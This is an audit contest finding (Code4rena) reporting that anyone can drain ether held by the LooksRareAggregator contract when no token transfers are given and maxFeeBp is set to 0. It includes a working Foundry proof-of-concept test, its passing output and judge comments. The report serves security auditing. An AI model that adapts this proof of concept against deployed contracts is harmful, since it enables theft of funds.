User can drain all ether from LooksRareAggregator contract

[code423n4]

Lines of code

https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/LooksRareAggregator.sol#L51

Vulnerability details

Impact

Anyone could drain all ether from this contract.

Proof of Concept

  function execute(
        TokenTransfer[] calldata tokenTransfers,
        TradeData[] calldata tradeData,
        address originator,
        address recipient,
        bool isAtomic
    ) external payable nonReentrant {
        if (recipient == address(0)) revert ZeroAddress();
        uint256 tradeDataLength = tradeData.length;
        if (tradeDataLength == 0) revert InvalidOrderLength();

        uint256 tokenTransfersLength = tokenTransfers.length;
        if (tokenTransfersLength == 0) {
            originator = msg.sender;
        } else if (msg.sender != erc20EnabledLooksRareAggregator) {
            revert UseERC20EnabledLooksRareAggregator();
        }

        for (uint256 i; i < tradeDataLength; ) {
            TradeData calldata singleTradeData = tradeData[i];
            if (!_proxyFunctionSelectors[singleTradeData.proxy][singleTradeData.selector]) revert InvalidFunction();

            (bytes memory proxyCalldata, bool maxFeeBpViolated) = _encodeCalldataAndValidateFeeBp(
                singleTradeData,
                recipient,
                isAtomic
            );
            if (maxFeeBpViolated) {
                if (isAtomic) {
                    revert FeeTooHigh();
                } else {
                    unchecked {
                        ++i;
                    }
                    continue;
                }
            }
            ...
            }

            unchecked {
                ++i;
            }
        }

        if (tokenTransfersLength > 0) _returnERC20TokensIfAny(tokenTransfers, originator);
        _returnETHIfAny(originator);

        emit Sweep(originator);
    }

Important here is if tokenTransferLength is 0, originator will be set to msg.sender Now because we control tradeData, we can set maxFeeBp to 0, which will set maxFeeBpViolated in for loop. It allows us to exit 'for' loop without any issues. Now _returnETHIfAny(originator) will be called, which basically sends all contract's balance to us.

How this contract could receive ether:

1. there is a receive() function, someone could send ether to this contract by mistake 2.it can be called by a contracts, which do not have receive/fallback functions

How to test: $ cat Test.t.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import {LooksRareAggregator} from "../../contracts/LooksRareAggregator.sol";
import {ERC20EnabledLooksRareAggregator} from "../../contracts/ERC20EnabledLooksRareAggregator.sol";
import {LooksRareProxy} from "../../contracts/proxies/LooksRareProxy.sol";
import {TokenRescuer} from "../../contracts/TokenRescuer.sol";
import {ILooksRareAggregator} from "../../contracts/interfaces/ILooksRareAggregator.sol";
import {BasicOrder, TokenTransfer} from "../../contracts/libraries/OrderStructs.sol";
import {IOwnableTwoSteps} from "../../contracts/interfaces/IOwnableTwoSteps.sol";
import {MockERC20} from "./utils/MockERC20.sol";
import {MockERC721} from "./utils/MockERC721.sol";
import {MockERC1155} from "./utils/MockERC1155.sol";
import {TestHelpers} from "./TestHelpers.sol";
import {TestParameters} from "./TestParameters.sol";
import {TokenRescuerTest} from "./TokenRescuer.t.sol";
import "forge-std/console.sol";

contract MyTest is TestParameters, TestHelpers, TokenRescuerTest {
    LooksRareAggregator private aggregator;
    LooksRareProxy private looksRareProxy;
    TokenRescuer private tokenRescuer;

    function setUp() public {
        aggregator = new LooksRareAggregator();
        tokenRescuer = TokenRescuer(address(aggregator));
        looksRareProxy = new LooksRareProxy(LOOKSRARE_V1, address(aggregator));
    }

    function testIssue1() public {
        TokenTransfer[] memory tokenTransfers = new TokenTransfer[](0);
        ILooksRareAggregator.TradeData[] memory tradeData = new ILooksRareAggregator.TradeData[](1);

        BasicOrder[] memory looksRareOrders = new BasicOrder[](1);
        bytes[] memory looksRareOrdersExtraData = new bytes[](1);
        {
            looksRareOrdersExtraData[0] = abi.encode(87.95 ether, 9550, 2, LOOKSRARE_STRATEGY_FIXED_PRICE);
        }

        tradeData[0] = ILooksRareAggregator.TradeData({
            proxy: address(looksRareProxy),
            selector: LooksRareProxy.execute.selector,
            value: looksRareOrders[0].price,
            maxFeeBp: 0,
            orders: looksRareOrders,
            ordersExtraData: looksRareOrdersExtraData,
            extraData: ""
        });

        vm.deal(address(aggregator), 1 ether);

        aggregator.addFunction(address(looksRareProxy), LooksRareProxy.execute.selector);
        aggregator.setFee(address(looksRareProxy), 10000, _notOwner);

        address Bob = address(0x111);
        vm.startPrank(Bob);
        console.log("Balance before ", Bob.balance);
        aggregator.execute(tokenTransfers, tradeData, _buyer, Bob, false);
                vm.stopPrank();
        console.log("Balance after ", Bob.balance);

    }

}

Run:

 forge test -vv --match-test testIssue1
[⠆] Compiling...
[⠔] Compiling 19 files with 0.8.17
[⠃] Solc 0.8.17 finished in 10.11s
Compiler run successful (with warnings)

Running 1 test for test/foundry/Test.t.sol:MyTest
[PASS] testIssue1() (gas: 141068)
Logs:
  Balance before  0
  Balance after  1000000000000000000

Test result: ok. 1 passed; 0 failed; finished in 2.19ms

Tools Used

foundry, vscode

Recommended Mitigation Steps

[Picodes]

Missing mitigation steps

[c4-judge]

Picodes marked the issue as duplicate of #277

[c4-judge]

Picodes changed the severity to 2 (Med Risk)

[c4-judge]

Picodes marked the issue as satisfactory